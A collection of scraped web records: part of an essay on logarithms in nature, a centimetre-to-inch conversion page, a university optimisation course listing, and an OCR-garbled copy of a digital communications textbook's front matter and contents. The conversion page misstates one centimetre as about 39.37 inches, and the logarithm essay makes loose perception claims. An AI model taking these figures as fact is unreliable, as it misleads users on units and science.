logarithm of a product of several numbers A, B, C, etc is just the sum of logs of A, B, C, etc. Again, the logarithm of A raised to the power of N is just N log A. This simplifies tedious calculations. High powers or exponents can simply be converted to logs. Thus, Y equals log X to base A, if and only if X equals A to the power of Y. Thus, log X is the index to which a must be raised in order to get X. Logs to different bases can be related (logs to base E are called natural logarithms). Taking logarithms gives a sum of terms from a product of terms.\n\nAs Pierre-Simon Laplace, a scholar who worked in the fields of  mathematics, statistics, physics and astronomy, remarked, “By shortening the labour, the invention of logarithms doubled the life of astronomers”. The invention of logarithms as far as dealing with complex calculation is concerned is second only in importance to the invention of the decimal and place value system (including the zero concept) pioneered by Indian and Arab mathematicians. As Lord Moulton said, “The invention of logarithms came to the world as a bolt from the blue. No previous work led to it or heralded its arrival. It stands isolated breaking in on human thought abruptly.”\n\nLogarithms around us\n\nIt is remarkable that many phenomena in nature universally follow logarithmic laws. Measurement of sound intensity in decibels and size of earthquakes using Richter scale are some examples. Generally, this is quantified by the so called Weber-Fechner law, which states that the response (of the perceiving system) is proportional to the logarithm of the intensity of the stimulus. It is generalised to include any kind of physiological sensation, like perception of brightness caused by a source of light, or perception of loudness from a source of sound.\n\nOur eye can see a candle 10 km away. The intensity of moonlight is a billion times higher, but the eye perceives it as only nine times higher (log billion is 9), so that moonlight does not scorch our eye. A 90-decibel loud conversation is a billion times greater than the very sensitive noise threshold of the ear, but the eardrum does not burst as the ear perceives it as only nine times more intense. The human ear is extremely sensitive to notice a change in pitch caused by a frequency change of only 0.2%. As a result, the musical notes that are written follow logarithmic scale on which the vertical distance (pitch) is proportional to the logarithm of the frequency.\n\nPower laws are also ubiquitous in nature. The spectrum of high energy cosmic rays, radiation given off by charged particles at high velocities in a magnetic field, all follow power laws. Sights, sounds, smells, quakes, tsunamis, high energy radiation, growths, decays and many phenomena follow a logarithmic law. Entropy is a very fundamental concept underlying thermodynamics. It is defined by the Boltzmann formula, where entropy is the logarithm of total number of microstates of the system.\n\nLogarithms are also involved in rocket dynamics in various forms. For a multistage rocket, the velocity and distance reached involve the logarithm of the mass ratio, that is, the ratio of the initial and final masses carried. The trajectory of a falling rocket is again a logarithmic spiral. In pure mathematics, again, logarithms are ubiquitous. The number of primes present below a given large number N is proportional to N divided by log N. Numerous examples can be given, underlying the universality of logarithms. Additionally, all our measurement scales are also based on logarithms.\n\nWith so many uses and applications in the natural world, it is hard to not notice that logarithmic laws universally govern nature.\n\n(The author is with Indian Institute of Astrophysics, Bengaluru)" ]

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[ "# Convert 210 cm to inches\n\n## How many inches is in a centimeter?\n\nWhen you wish to convert 210 centimeters into an inch-length number, first, you must be aware of how many inches 1 centimeter equals.\n\nHere’s what I can give you a direct indication that one cm equals 0.3937 inches.\n\n## Definition:Centimeter\n\nA centimeter is a common unit of length in the metric system.\nIt equals to 0.01 meter.\nThis unit is used in CGS system, maps, home repaire and all areas in our life.\nA single centimeter is roughly equivalent to 39.37 inches.\n\n## Definition:Inch\n\nThe inch is a unit of length in the UK and the US customary systems of measurement. An inch is equal to 1/12 of a foot or 1/36 yard.\n\n## How do I convert 1 cm to inches?\n\nTo convert 1 cm into inches, just multiply 1cm with the conversion factor of 0.3937.\n\nSo, 1 cm into inches = 1 times 0.3937 = 0.3937 inches, exactly.\n\nBased on this, you can answer the following question very lightly and simply.\n\n• What’s 1 cm in inches?\n• What is conversion rate cm to inches?\n• How many inches equals 1 cm?\n• What does 1 cm mean in inches?\n\n### How do u convert 210 cm to inches?\n\nFrom the above, you have a good grasp of cm to inches.\n\nThis is the formula:\n\nValue in inches = value in cm × 0.3937\n\nSo, 210 cm to inches = 210 cm × 0.3937 = 82.677 inches\n\nThis formula can be used to answer the related questions:\n\n• What is 210 cm in inches?\n• How do I convert inches from cm?\n• How can you change cm into inches?\n• How to calculate cm to inches?\n• How many inches is 210 cm equal to?\n\n cm inches 209.2 cm 82.36204 inches 209.3 cm 82.40141 inches 209.4 cm 82.44078 inches 209.5 cm 82.48015 inches 209.6 cm 82.51952 inches 209.7 cm 82.55889 inches 209.8 cm 82.59826 inches 209.9 cm 82.63763 inches 210 cm 82.677 inches 210.1 cm 82.71637 inches 210.2 cm 82.75574 inches 210.3 cm 82.79511 inches 210.4 cm 82.83448 inches 210.5 cm 82.87385 inches 210.6 cm 82.91322 inches 210.7 cm 82.95259 inches 210.8 cm 82.99196 inches" ]

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[ "", null, "# MATH3161 Optimisation\n\nMATH3161 is a Mathematics Level III course. See the course overview below.\n\nUnits of credit: 6\n\nPrerequisites: 12  units of credit in Level 2 Mathematics courses including MATH2011 or MATH2111, and MATH2501 or MATH2601, or both MATH2019(DN) and MATH2089, or both MATH2069(CR) and MATH2099.\n\nCycle of offering: Term 1\n\nGraduate attributes: The course will enhance your research, inquiry and analytical thinking abilities.\n\nMore information: This recent course handout (pdf) contains information about course objectives, assessment, course materials and the syllabus.\n\nThe Online Handbook entry contains up-to-date timetabling information.\n\nIf you are currently enrolled in MATH3161, you can log into UNSW Moodle for this course.\n\n#### Course Aims\n\nThe concept of optimization, finding the \"best\" way to do something, arises across all branches of mathematics and in application areas ranging from biology and engineering to business and finance. The purpose of this course is to provide an introduction to the theory of multi-variable optimization and optimal control, and to provide students with the skills to formulate, solve and analyze solutions to certain multi-variable optimization problems and infinite dimensional optimal control problems.\n\n#### Course Description\n\nOptimization problems, in which one wants to find the values of variables to maximize or minimize an objective function subject to constraints on which variables are allowed, are common throughout the physical and biological sciences, economics, finance and engineering. This course looks at the formulation of optimization problems as mathematical problems, characterizing solutions using necessary and/or sufficient optimality conditions and modern numerical methods and software for solving the problems. Both finite dimensional problems which involve a vector of variables, including linear and nonlinear programming, and infinite dimensional problems where the variables are functions, including optimal control problems, are covered." ]

[ null, "https://www.maths.unsw.edu.au/sites/default/files/course_homepages-header.jpg", null ]

[ "Pagina principale Digital Communications, 5th Edition\n\n# Digital Communications, 5th Edition\n\n,\nDigital Communications is a classic book in the area that is designed to be used as a senior or graduate level text. The text is flexible and can easily be used in a one semester course or there is enough depth to cover two semesters. Its comprehensive nature makes it a great book for students to keep for reference in their professional careers. This all-inclusive guide delivers an outstanding introduction to the analysis and design of digital communication systems. Includes expert coverage of new topics: Turbocodes, Turboequalization, Antenna Arrays, Digital Cellular Systems, and Iterative Detection. Convenient, sequential organization begins with a look at the history and classification of channel models and builds from there.\nCategories: Technique\\\\Instrument\nAnno: 2007\nEdizione: 5th\nEditore: McGraw-Hill Science Engineering Math\nLingua: english\nPagine: 1170\nISBN 10: 0072957166\nISBN 13: 9780072957167\nFile: DJVU, 12.84 MB\n\n## Most frequently terms\n\nJMR\nIt is an excellent book in digital communications.\n28 August 2013 (16:41)\nminmin\nIt is an excellent book in digital communications.\n16 September 2014 (15:07)\nAnn\n27 March 2016 (10:20)\n\nPost a Review", null, "You can write a book review and share your experiences. Other readers will always be interested in your opinion of the books you've read. Whether you've loved the book or not, if you give your honest and detailed thoughts then people will find new books that are right for them.\n1\n\n### Globalization and Private Law: The Way Forward\n\nAnno: 2010\nLingua: english\nFile: PDF, 2.20 MB\n2\n\n### Decision Support: An Examination of the DSS Discipline\n\nAnno: 2011\nLingua: english\nFile: PDF, 5.94 MB\n```-- -\n\n,. d , s\n\n2( )\n\nJohn G. Proakis Masoud Salehi\n\n0.1:;\n\nV2\n\nr I'\" ,. J\n\n.\n\no\n\n----- - --- -----\n\n-\n\n....\n\no I) 0 ... 0.4 0.6 0.8 1\n\nFifth Ed ition\n\n3( )\n\nI I I\n\nDigital o unications\n\n....:I V\\\n\nDigital Communications\n\nFifth Edition\n\nJohn G. Proakis\n\nProfessor Emeritus, Northeastern University Department of Electrical and Computer Engineering, University of California, San Diego\n\nMasoud Salehi\n\nDepartment of Electrical and Computer Engineering, Northeastern University\n\nr\n\nw McGraw-Hili Hill Higher Education Boston Burr Ridge, IL Dubuque, IA New York San Francisco St. Louis Bangkok Bogota Caracas Kuala Lumpur Lisbon London Madrid Mexico City Milan Montreal New Deihl Santiago Seoul Singapore Sydney Taipei Toronto\n\nThe McGraw\"Hill Companies\n\nH IV!CG h raw E - d Hili . t:M Ig er ucatlon\n\nDIGITAL COMMUNICATIONS, FIFTH EDITION\n\nPublished by McGraw-Hill, a business unit of The McGraw-Hill Companies, Inc., 1221 Avenue of the Americas, New York, NY 10020. Copyright <92008 by The McGraw-Hill Companies, Inc. All nghts reserved. Previous editions <9 2001 and 1995. No part of this publication may be reproduced or distributed in any form or by any means, or stored in a database or retrieval system, without the prior written consent of The McGraw-Hill Companies, Inc., including, but not limited to, in any network or other electronic storage or transmission, or broadcast for distance learning.\n\nSome ancillaries, including electronic and print components, may not be available to customers outside the United States.\n\nThis book is printed on acid-free paper.\n\n1 2 3 4 5 6 7 8 9 0 DOC/DOC 0 9 8 7\n\nISBN 978-0-07-295716-7 MHID 0-07-295716-6\n\nGlobal Publisher: Raghothaman Srinivasan Executive Editor: Michael Hackett Director of Development: Kristine Tibbetts Developmental Editor: Lorraine K. Buczek Executive Marketing Manager: Michael Weitz Senior Project Manager: Kay J. Brimeyer Lead Production Supervisor: Sandy Ludovissy Associate Design Coordinator: Brenda A. Rolwes Cover Designer: Studio Montage, St. Louis, Missouri Compositor: ICC Macmillan Typeface: 10.5/12 Times Roman Printer: R. R. Donnelley Crawfordsville, IN (USE) Cover Image: Chart located at top left (Figure 8.9-6): ten Brink, S. (2001). \"Convergence behavior of iteratively decoded parallel concatenated codes,\" IEEE Transactions on Communications, vol. 49, pp.1727-1737.\n\nProakis, John G. Digital communications / John G. Proakts, Masoud Salehi.-5th ed. p. em. Includes index. ISBN 978-0-07-295716-7-ISBN 0-07-295716-6 (hbk. : alk. paper) 1. Digital communications. I. Salehi, Masoud. II. Title. TK5103.7.P762008 621.382-dc22\n\n2007036509\n\nwww.mhhe.com\n\nDEDICATION\n\nTo Felia, George, and Elena John G. Proakis\n\nTo Fariba, Omid, Sina, and My Parents Masoud Salehi\n\n111\n\nBRIEF CONTENTS\n\nPreface XVI Chapter 1 Introduction 1 Chapter 2 Deterministic and Random Signal Analysis 17 Chapter 3 Digital Modulation Schemes 95 Chapter 4 Optimum Receivers for AWGN Channels 160 Chapter 5 Carrier and Symbol Synchronization 290 Chapter 6 An Introduction to Information Theory 330 Chapter 7 Linear Block Codes 400 Chapter 8 Trellis and Graph Based Codes 491 Chapter 9 Digital Communication Through Band-Limited Channels 597 Chapter 10 Adaptive Equalization 689 Chapter 11 Multichannel and Multicarrier Systems 737 Chapter 12 Spread Spectrum Signals for Digital Communications 762 Chapter 13 Fading Channels I: Characterization and Signaling 830 Chapter 14 Fading Channels IT: Capacity and Coding 899 Chapter 15 Multiple-Antenna Systems 966 Chapter 16 Multiuser Communications 1028 Appendices Appendix A Matrices 1085 Appendix B Error Probability for Multichannel Binary Signals 1090 Appendix C Error Probabilities for Adaptive Reception of M -Phase Signals 1096 Appendix D Square Root Factorization 1107 References and Bibliography 1109 Index 1142 V\n\nCONTENTS\n\nPreface XVI Chapter 1 Introduction 1 1.1 Elements of a Digital Communication System 1 1.2 Communication Channels and Their Characteristics 3 1.3 Mathematical Models for Communication Channels 10 1.4 A HIstorical PerspectIve in the Development of DigItal CommunIcatIons 12 1.5 OvervIew of the Book 15 1.6 Blbhographlcal Notes and References 15 Chapter 2 Deterministic and Random Signal Analysis 17 2.1 Bandpass and Lowpass SIgnal Representation 18 2.1-1 Bandpass and Lowpass Signals / 2.1-2 Lowpass Equivalent of Bandpass Signals / 2.1-3 Energy Considerations / 2.1-4 Lowpass Equivalent of a Bandpass Systenl 2.2 Signal Space RepresentatIon of Waveforms 28 2.2-1 Vector Space Concepts / 2.2-2 Signal Space Concepts / 2.2-3 Orthogonal Expansions of Signals / 2.2-4 Graln-Schnlidt Procedure 2.3 Some Useful Random Variables 40 2.4 Bounds on Tall Probabilities 56 2.5 LImit Theorems for Sums of Random Vanables 63 2.6 Complex Random Variables 63 2.6-1 Conlplex Randonl Vectors 2.7 Random Processes 66 2.7-1 Wide-Sense Stationary Randonl Processes / 2.7-2 Cyclostationary Rando111 Processes / 2.7-3 Proper and Circular Randoln Processes / 2.7-4 Markov Chains 2.8 Series Expansion of Random Processes 74 2.8-1 Sa111pling Theore111for Band-Lilnited Rando111 Processes / 2.8-2 The Karhunen-Loeve Expansion 2.9 Bandpass and Lowpass Random Processes 78\n\nVI\n\nContents VB 2.10 Bibliographical Notes and References 82 Problems 82 Chapter 3 Digital Modulation Schemes 95 3.1 Representation of Digitally Modulated Signals 95 3.2 Memoryless Modulation Methods 97 3.2-1 Pulse Amplitude Modulation (PAM) / 3.2-2 Phase Modulation / 3.2-3 Quadrature Amplitude Modulation / 3.2-4 Multidimensional Signaling 3.3 Signaling Schemes with Memory 114 3.3-1 Continuous-Phase Frequency-Shift Keying (CPFSK) / 3.3-2 Continuous-Phase Modulation (CPM) 3.4 Power Spectrum of Digitally Modulated Signals 131 3.4-1 Power Spectral Density of a Digitally Modulated Signal with Memory / 3.4-2 Power Spectral Density of Linearly Modulated Signals / 3.4-3 Power Spectral Density of Digitally Modulated Signals with Finite Memory / 3.4-4 Power Spectral Density of Modulation Schemes with a Markov Structure / 3.4-5 Power Spectral Densities of CPFSK and CPM Signals 3.5 Bibliographical Notes and References 148 Problems 148 Chapter 4 Optimum Receivers for AWGN Channels 160 4.1 Waveform and Vector Channel Models 160 4.1-1 Optimal Detection for a General Vector Channel 4.2 Waveform and Vector AWGN Channels 167 4.2-1 Optimal Detection for the Vector AWGN Channel / 4.2-2 Implementation of the Optimal Receiver for AWGN Channels / 4.2-3 A Union Bound on the Probability of Error of Maximum Likelihood Detection 4.3 Optimal Detection and Error Probability for Band-Limited Signaling 188 4.3-1 Optimal Detection and Error Probability for ASK or PAM Signaling / 4.3-2 Optimal Detection and Error Probability for PSK Signaling / 4.3-3 Optimal Detection and Error Probability for QAM Signaling / 4.3-4 Demodulation and Detection 4.4 Optimal Detection and Error Probability for Power-Limited Signaling 203 4.4-1 Optimal Detection and Error Probability for Orthogonal Signaling / 4.4-2 Optimal Detection and Error Probability for Biorthogonal Signaling / 4.4-3 Optimal Detection and Error Probability for Simplex Signaling\n\nVll1\n\nContents\n\n4.5 Optimal Detection in Presence of Uncertainty: Noncoherent Detection 210 4.5-1 Noncoherent Detection of Carrier Modulated Signals / 4.5-2 Optimal Noncoherent Detection of FSK Modulated Signals / 4.5-3 Error Probability of Orthogonal Signaling with Noncoherent Detection / 4.5-4 Probability of Error for Envelope Detection of Correlated Binary Signals / 4.5-5 Differential PSK (DPSK) 4.6 A Comparison of Digital Signaling Methods 226 4.6-1 Bandwidth and Dimensionality 4.7 Lattices and Constellations Based on Lattices 230 4.7-1 An Introduction to Lattices / 4.7-2 Signal Constellations from Lattices 4.8 Detection of Signaling Schemes with Memory 242 4.8-1 The Maximum Likelihood Sequence Detector 4.9 Optimum Receiver for CPM Signals 246 4.9-1 Optimum Demodulation and Detection ofCPM / 4.9-2 Performance ofCPM Signals / 4.9-3 Suboptimum Demodulation and Detection ofCPM Signals 4.10 Performance Analysis for Wireline and Radio Communication Systems 259 4.10-1 Regenerative Repeaters / 4.10-2 Link Budget Analysis in Radio Communication Systems 4.11 Bibliographical Notes and References 265 Problems 266\n\nChapter 5 Carrier and Symbol Synchronization 290 5.1 Signal Parameter Estimation 290 5.1-1 The Likelihood Function / 5.1-2 Carrier Recovery and Symbol Synchronization in Signal Demodulation 5.2 Carrier Phase Estimation 295 5.2-1 Maximum-Likelihood Carrier Phase Estimation / 5.2-2 The Phase-Locked Loop / 5.2-3 Effect of Additive Noise on the Phase Estimate / 5.2-4 Decision-Directed Loops / 5.2-5 Non-Decision-Directed Loops 5.3 Symbol Timing Estimation 315 5.3-1 Maximum-Likelihood Timing Estimation / 5.3-2 Non-Decision-Directed Timing Estimation 5.4 Joint Estimation of Carrier Phase and Symbol Timing 321 5.5 Performance Characteristics ofML Estimators 323 5.6 Bibliographical Notes and References 326 Problems 327\n\nChapter 6 An Introduction to Information Theory 330 6.1 Mathematical Models for Information Sources 331\n\nContents IX 6.2 A Logarithmic Measure of Information 332 6.3 Lossless Coding of Information Sources 335 6.3-1 The Lossless Source Coding Theorem / 6.3-2 Lossless Coding Algorithnls 6.4 Lossy Data Compression 348 6.4-1 Entropy and Mutual Information for Continuous Random Variables / 6.4-2 The Rate Distortion Function 6.5 Channel Models and Channel Capacity 354 6.5-1 Channel Models / 6.5-2 Channel Capacity 6.6 Achieving Channel Capacity with Orthogonal Signals 367 6.7 The Channel Reliability Function 369 6.8 The Channel Cutoff Rate 371 6.8-1 Bhattacharyya and Chernov Bounds / 6.8-2 Random Coding 6.9 Bibliographical Notes and References 380 Problems 381\n\nChapter 7 Linear Block Codes 400 7.1 Basic Definitions 401 7.1-1 The Structure of Finite Fields / 7.1-2 Vector Spaces 7.2 General Properties of Linear Block Codes 411 7.2-1 Generator and Parity Check Matrices / 7.2-2 Weight and Distance for Linear Block Codes / 7.2-3 The Weight Distribution Polynomial / 7.2-4 Error Probability of Linear Block Codes 7.3 Some Specific Linear Block Codes 420 7.3-1 Repetition Codes / 7.3-2 Hamming Codes / 7.3-3 Maximum-Length Codes / 7.3-4 Reed-Muller Codes / 7.3-5 Hadamard Codes / 7.3-6 Golay Codes 7.4 Optimum Soft Decision Decoding of Linear Block Codes 424 7.5 Hard Decision Decoding of Linear Block Codes 428 7.5-1 Error Detection and Error Correction Capability of Block Codes / 7.5-2 Block and Bit Error Probability for Hard Decision Decoding 7.6 Comparison of Performance between Hard Decision and Soft Decision Decoding 436 7.7 Bounds on Minimum Distance of Linear Block Codes 440 7.7-1 Singleton Bound / 7.7-2 Hamming Bound / 7.7-3 Plotkin Bound / 7.7-4 Elias Bound / 7.7-5 McEliece-Rodemich-Rumsey-Welch (MRRW) Bound / 7.7-6 Varshamov-Gilbert Bound 7.8 Modified Linear Block Codes 445 7.8-1 Shortening and Lengthening / 7.8-2 Puncturing and Extending / 7.8-3 Expurgation and Augmentation\n\nx\n\n7.9\n\n7.10\n\n7.11 7.12 7.13\n\n7.14\n\nCyclic Codes 7.9-1 Cyclic Codes-Definition and Basic Properties / 7.9-2 Systematic Cyclic Codes / 7.9-3 Encoders for Cyclic Codes / 7.9-4 Decoding Cyclic Codes / 7.9-5 Examples of Cyclic Codes Bose-Chaudhuri-Hocquenghem (BCH) Codes 7.10-1 The Structure of BCH Codes / 7.10-2 Decoding BCH Codes Reed-Solomon Codes Coding for Channels with Burst Errors Combining Codes 7.13-1 Product Codes / 7.13-2 Concatenated Codes Bibliographical Notes and References Problems\n\nContents\n\n447\n\n463\n\n471 475 477\n\n482 482\n\nChapter 8 Trellis and Graph Based Codes 491 8.1 The Structure of Convolutional Codes 491 8.1-1 Tree, Trellis, and State Diagrams / 8.1-2 The Transfer Function of a Convolutional Code / 8.1-3 Systematic, Nonrecursive, and Recursive Convolutional Codes / 8.1-4 The Inverse of a Convolutional Encoder and Catastrophic Codes 8.2 Decoding of Convolutional Codes 510 8.2-1 Maximum-Likelihood Decoding of Convolutional Codes - The Viterbi Algorithm / 8.2-2 Probability of Error for Maximum-Likelihood Decoding of Convolutional Codes 8.3 Distance Properties of Binary Convolutional Codes 516 8.4 Punctured Convolutional Codes 516 8.4-1 Rate-Compatible Punctured Convolutional Codes 8.5 Other Decoding Algorithms for Convolutional Codes 525 8.6 Practical Considerations in the Application of Convolutional Codes 532 8.7 Nonbinary Dual-k Codes and Concatenated Codes 537 8.8 Maximum a Posteriori Decoding of Convolutional Codes - The BCJR Algorithm 541 8.9 Turbo Codes and Iterative Decoding 548 8.9-1 Performance Boundsfor Turbo Codes / 8.9-2 Iterative Decoding for Turbo Codes / 8.9-3 EXIT Chart Study of Iterative Decoding 8.10 Factor Graphs and the Sum-Product Algorithm 558 8.10-1 Tanner Graphs / 8.10-2 Factor Graphs / 8.10-3 The Sum-Product Algorithm / 8.10-4 MAP Decoding Using the Sum-Product Algorithm\n\nContents XI 8.11 Low Density Parity Check Codes 568 8.11-1 Decoding LDPC Codes 8.12 Coding for Bandwidth-Constrained Channels - Trellis Coded Modulation 571 8.12-1 Lattices and Trellis Coded Modulation / 8.12-2 Turbo-Coded Bandwidth Efficient Modulation 8.13 Bibliographical Notes and References 589 Problems 590 Chapter 9 Digital Communication Through Band-Limited Channels 597 9.1 Characterization of Band-Limited Channels 598 9.2 Signal Design for Band-Limited Channels 602 9.2-1 Design of Band-Limited Signals for No Intersymbol Interference-The Nyquist Criterion / 9.2-2 Design of Band-Limited Signals with Controlled ISI-Partial-Response Signals / 9.2-3 Data Detection for Controlled ISI / 9.2-4 Signal Design for Channels with Distortion 9.3 Optimum Receiver for Channels with ISI and AWGN 623 9.3-1 Optimum Maximum-Likelihood Receiver / 9.3-2 A Discrete-Time Modelfor a Channel with ISI / 9.3-3 Maximum-Likelihood Sequence Estimation (MLSE) for the Discrete- Time White Noise Filter Model / 9.3-4 Performance of MLSE for Channels with ISI 9.4 Linear Equalization 640 9.4-1 Peak Distortion Criterion / 9.4-2 Mean-Square-Error (MSE) Criterion / 9.4-3 Performance Characteristics of the MSE Equalizer / 9.4-4 Fractionally Spaced Equalizers / 9.4-5 Baseband and Passband Linear Equalizers 9.5 Decision-Feedback Equalization 661 9.5-1 Coefficient Optimization / 9.5-2 Performance Characteristics of DFE / 9.5-3 Predictive Decision-Feedback Equalizer / 9.5-4 Equalization at the Transmitter-Tomlinson-Harashima Precoding 9.6 Reduced Complexity ML Detectors 669 9.7 Iterative Equalization and Decoding-Turbo Equalization 671 9.8 Bibliographical Notes and References 673 Problems 674 Chapter 10 Adaptive Equalization 689 10.1 Adaptive Linear Equalizer 689 10.1-1 The Zero-Forcing Algorithm / 10.1-2 The LMS Algorithm / 10.1-3 Convergence Properties of the LMS\n\nxu\n\nContents\n\nAlgorithm / 10.1-4 Excess MSE due to Noisy Gradient Estimates / 10.1-5 Accelerating the Initial Convergence Rate in the LMS Algorithm / 10.1-6 Adaptive Fractionally Spaced Equalizer- The Tap Leakage Algorithm / 10.1-7 An Adaptive Channel Estimator for ML Sequence Detection 10.2 Adaptive Decision-Feedback Equalizer 705 10.3 Adaptive Equalization of Trellis-Coded Signals 706 10.4 Recursive Least-Squares Algorithms for Adaptive Equalization 710 10.4-1 Recursive Least-Squares (Kalman) Algorithm / 10.4-2 Linear Prediction and the Lattice Filter 10.5 Self-Recovering (Blind) Equalization 721 10.5-1 Blind Equalization Based on the Maximum-Likelihood Criterion / 10.5-2 Stochastic Gradient Algorithms / 10.5-3 Blind Equalization Algorithms Based on Second- and Higher-Order Signal Statistics 10.6 Bibliographical Notes and References 731 Problems 732\n\nChapter 11 Multichannel and Multicarrier Systems 737 11.1 Multichannel Digital Communications in AWGN Channels 737 11.1-1 Binary Signals / 11.1-2 M -ary Orthogonal Signals 11.2 Multicarrier Communications 743 11.2-1 Single-Carrier Versus Multicarrier Modulation / 11.2-2 Capacity of a Nonideal Linear Filter Channel / 11.2-3 Orthogonal Frequency Division Multiplexing (OFDM) / 11.2-4 Modulation and Demodulation in an OFDM System / 11.2-5 An FFT Algorithm Implementation of an OFDM System / 11.2-6 Spectral Characteristics of Multicarrier Signals / 11.2-7 Bit and Power Allocation in Multicarrier Modulation / 11.2-8 Peak-to-Average Ratio in Multicarrier Modulation / 11.2-9 Channel Coding Considerations in Multicarrier Modulation 11.3 Bibliographical Notes and References 759 Problems 760\n\nChapter 12 Spread Spectrum Signals for Digital Communications 762 12.1 Model of Spread Spectrum Digital Communication System 763 12.2 Direct Sequence Spread Spectrum Signals 765 12.2-1 Error Rate Performance of the Decoder / 12.2-2 Some Applications of DS Spread Spectrum Signals / 12.2-3 Effect of Pulsed Interference on DS Spread\n\nXIV\n\nContents\n\n14.4 Performance of Coded Systems In Fading Channels 919 14.4-1 Coding for Fully Interleaved Channel Model 14.5 Trellis-Coded Modulation for Fading Channels 929 14.5-1 TCM Systems for Fading Channels / 14.5-2 Multiple Trellis-Coded Modulation (MTCM) 14.6 Bit-Interleaved Coded Modulation 936 14.7 Coding in the Frequency Domain 942 14.7-1 Probability of Error for Soft Decision Decoding of Linear Binary Block Codes / 14.7-2 Probability of Error for Hard-Decision Decoding of Linear Block Codes / 14.7-3 Upper Bounds on the Performance of Convolutional Codes for a Rayleigh Fading Channel / 14.7-4 Use of Constant- Weight Codes and Concatenated Codes for a Fading Channel 14.8 The Channel Cutoff Rate for Fading Channels 957 14.8-1 Channel Cutoff Rate for Fully Interleaved Fading Channels with CSI at Receiver 14.9 Bibliographical Notes and References 960 Problems 961\n\nChapter 15 Multiple-Antenna Systems 966 15.1 Channel Models for Multiple-Antenna Systems 966 15.1-1 Signal Transmission Through a Slow Fading Frequency-Nonselective MIMO Channel / 15.1-2 Detection of Data Symbols in a MIMO System / 15.1-3 Signal Transmission Through a Slow Fading Frequency-Selective MIMO Channel 15.2 Capacity of MIMO Channels 981 15.2-1 Mathematical Preliminaries / 15.2-2 Capacity of a Frequency-Nonselective Deterministic MIMO Channel / 15.2-3 Capacity of a Frequency-Nonselective Ergodic Random MIMO Channel / 15.2-4 Outage Capacity / 15.2-5 Capacity of MIMO Channel When the Channel Is Known at the Transmitter 15.3 Spread Spectrum Signals and Multicode Transmission 992 15.3-1 Orthogonal Spreading Sequences / 15.3-2 Multiplexing Gain Versus Diversity Gain / 15.3-3 Multicode MIMO Systems 15.4 Coding for MIMO Channels 1001 15.4-1 Performance of Temporally Coded SISO Systems in Rayleigh Fading Channels / 15.4-2 Bit-Interleaved Temporal Coding for MIMO Channels / 15.4-3 Space-Time Block Codes for MIMO Channels / 15.4-4 Pairwise Error Probability for a Space- Time Code / 15.4-5 Space-Time Trellis Codes for MIMO Channels / 15.4-6 Concatenated Space- Time Codes and Turbo Codes\n\nContents\n\n15.5 Bibliographical Notes and References Problems\n\nChapter 16 Multiuser Communications 16.1 Introduction to Multiple Access Techniques 16.2 Capacity of Multiple Access Methods 16.3 Multiuser Detection in CDMA Systems 16.3-1 CDMA Signal and Channel Models / 16.3-2 The Optimum Multiuser Receiver / 16.3-3 Suboptimum Detectors / 16.3-4 Successive Interference Cancellation / 16.3-5 Other Types of Multiuser Detectors / 16.3-6 Performance Characteristics of Detectors 16.4 Multiuser MIMO Systems for Broadcast Channels 16.4-1 Linear Precoding of the Transmitted Signals / 16.4-2 Nonlinear Precoding of the Transmitted Signals-The QR Decomposition / 16.4-3 Nonlinear Vector Precoding / 16.4-4 Lattice Reduction Technique for Precoding 16.5 Random Access Methods 16.5-1 ALOHA Systems and Protocols / 16.5-2 Carrier Sense Systems and Protocols 16.6 Bibliographical Notes and References Problems\n\nxv\n\n1021 1021\n\n1028 1028 1031 1036\n\n1053\n\n1068\n\n1077 1078\n\nAppendix A Matrices 1085 A.1 Eigenvalues and Eigenvectors of a Matrix 1086 A.2 Singular- Value Decomposition 1087 A.3 Matrix Norm and Condition Number 1088 A.4 The Moore-Penrose Pseudoinverse 1088\n\nAppendix B Error Probability for Multichannel Binary Signals 1090 Appendix C Error Probabilities for Adaptive Reception of M .Phase Signals 1096 C.1 Mathematical Model for an M-Phase Signaling Communi- cation System 1096 C.2 Characteristic Function and Probability Density Function of the Phase e 1098 C.3 Error Probabilities for Slowly Fading Rayleigh Channels 1100 C.4 Error Probabilities for Time-Invariant and Ricean Fading Channels 1104\n\nAppendix D Square Root Factorization 1107\n\nReferences and Bibliography Index\n\n1109\n\n1142\n\nPRE F ACE\n\nIt is a pleasure to welcome Professor Masoud Salehi as a coauthor to the fifth edition of Digital Communications. This new edition has undergone a major revision and reorganization of topics, especially in the area of channel coding and decoding. A new chapter on multiple-antenna systems has been added as well. The book is designed to serve as a text for a first-year graduate-level course for students in electrical engineering. It is also designed to serve as a text for self-study and as a reference book for the practicing engineer involved in the design and analysis of digital communications systems. As to background, we presume that the reader has a thorough understanding of basic calculus and elementary linear systems theory and prior knowledge of probability and stochastic processes. Chapter 1 is an introduction to the subject, including a historical perspective and a description of channel characteristics and channel models. Chapter 2 contains a review of deterministic and random signal analysis, including bandpass and lowpass signal representations, bounds on the tail probabilities of random variables, limit theorems for sums of random variables, and random processes. Chapter 3 treats digital modulation techniques and the power spectrum of digitally modulated signals. Chapter 4 is focused on optimum receivers for additive white Gaussian noise (AWGN) channels and their error rate performance. Also included in this chapter is an introduction to lattices and signal constellations based on lattices, as well as link budget analyses for wireline and radio communication systems. Chapter 5 is devoted to carrier phase estimation and time synchronization methods based on the maximum-likelihood criterion. Both decision-directed and non-decision- directed methods are described. Chapter 6 provides an introduction to topics in information theory, including lossless source coding, lossy data compression, channel capacity for different channel models, and the channel reliability function. Chapter 7 treats linear block codes and their properties. Included is a treatment of cyclic codes, BCH codes, Reed-Solomon codes, and concatenated codes. Both soft decision and hard decision decoding methods are described, and their performance in AWGN channels is evaluated. Chapter 8 provides a treatment of trellis codes and graph-based codes, includ- ing convolutional codes, turbo codes, low density parity check (LDPC) codes, trel- lis codes for band-limited channels, and codes based on lattices. Decoding algo- rithms are also treated, including the Viterbi algorithm and its performance on AWGN\n\nXVI\n\nPreface\n\nXVll\n\nX Vl11\n\nPreface\n\ncommunication through fading channels, multiple-antenna systems, and multiuser com- munications. The authors and McGraw-Hill would like to thank the following reviewers for their suggestions on selected chapters of the fifth edition manuscript: Paul Salama, Indiana University/Purdue University, Indianapolis; Dimitrios Hatz- inakos, University of Toronto, and Ender Ayanoglu, University of California, Irvine. Finally, the first author wishes to thank Gloria Doukakis for her assistance in typing parts of the manuscript. We also thank Patrick Amihood for preparing several graphs in Chapters 15 and 16 and Apostolos Rizos and Kostas Stamatiou for preparing parts of the Solutions Manual.\n\n[I\n\nIntroduction\n\nIn this book, we present the basic principles that underlie the analysis and design of dIgital communication systems. The subject of digital communications involves the transmission of information in digital form from a source that generates the information to one or more destinations. Of particular importance in the analysis and design 